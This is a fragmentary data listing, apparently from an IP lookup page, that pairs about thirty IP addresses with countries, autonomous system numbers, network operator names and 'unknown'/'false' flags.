62585 MC-NETUS false
201.123.66.189
 unknown Mexico
8151 UninetSAdeCVMX false
149.37.218.125
 unknown United States
62240 CLOUVIDERClouvider-GlobalASNGB false
3.115.234.111
 unknown United States
16509 AMAZON-02US false
196.86.195.44
 unknown Morocco
6713 IAM-ASMA false
140.119.237.161
 unknown Taiwan; Republic of China (ROC)
17716 NTU-TWNationalTaiwanUniversityTW false
181.151.232.107
 unknown Colombia
26611 COMCELSACO false
164.76.170.214
 unknown United States
237 MERIT-AS-14US false
106.36.47.122
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
7.222.183.186
 unknown United States
3356 LEVEL3US false
20.30.15.113
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
174.109.251.228
 unknown United States
11426 TWC-11426-CAROLINASUS false
107.77.217.35
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
34.54.85.173
 unknown United States
2686 ATGS-MMD-ASUS false
104.119.119.231
 unknown United States
2828 XO-AS15US false
85.255.183.26
 unknown Ukraine
43554 CDS-ASUA false
185.210.9.8
 unknown Germany
207253 AS_ZEAGDE false
14.172.55.92
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
221.179.67.65
 unknown China
56040 CMNET-GUANGDONG-APChinaMobilecommunicationscorporation false
215.108.249.180
 unknown United States
721 DNIC-ASBLK-00721-00726US false
207.45.177.113
 unknown United States
22878 ASACENET1US false
223.1.237.120
 unknown China
63555 CNBIDCCBeijingBeilongYunhaiNetworkDataTechnologyCorpo false
208.14.123.245
 unknown United States
1239 SPRINTLINKUS false
213.112.204.255
 unknown Sweden
2119 TELENOR-NEXTELTelenorNorgeASNO false
15.245.45.167
 unknown United States
71 HP-INTERNET-ASUS false
18.69.84.38
 unknown United States
3 MIT-GATEWAYSUS false
32.239.70.191
 unknown United States
2686 ATGS-MMD-ASUS false
148.61.226.149
 unknown United States
237 MERIT-AS-14US false
57.152.230.159
 unknown Belgium
2686 ATGS-MMD-ASUS false
192.96.209.227
 unknown United States
12129 123NETUS false
128.67.14.7
 unknown Italy
24608 WINDTRE-ASIT false
62.4.193.10
 unknown Belgium
5432 PROXIMUS-ISP-ASBE false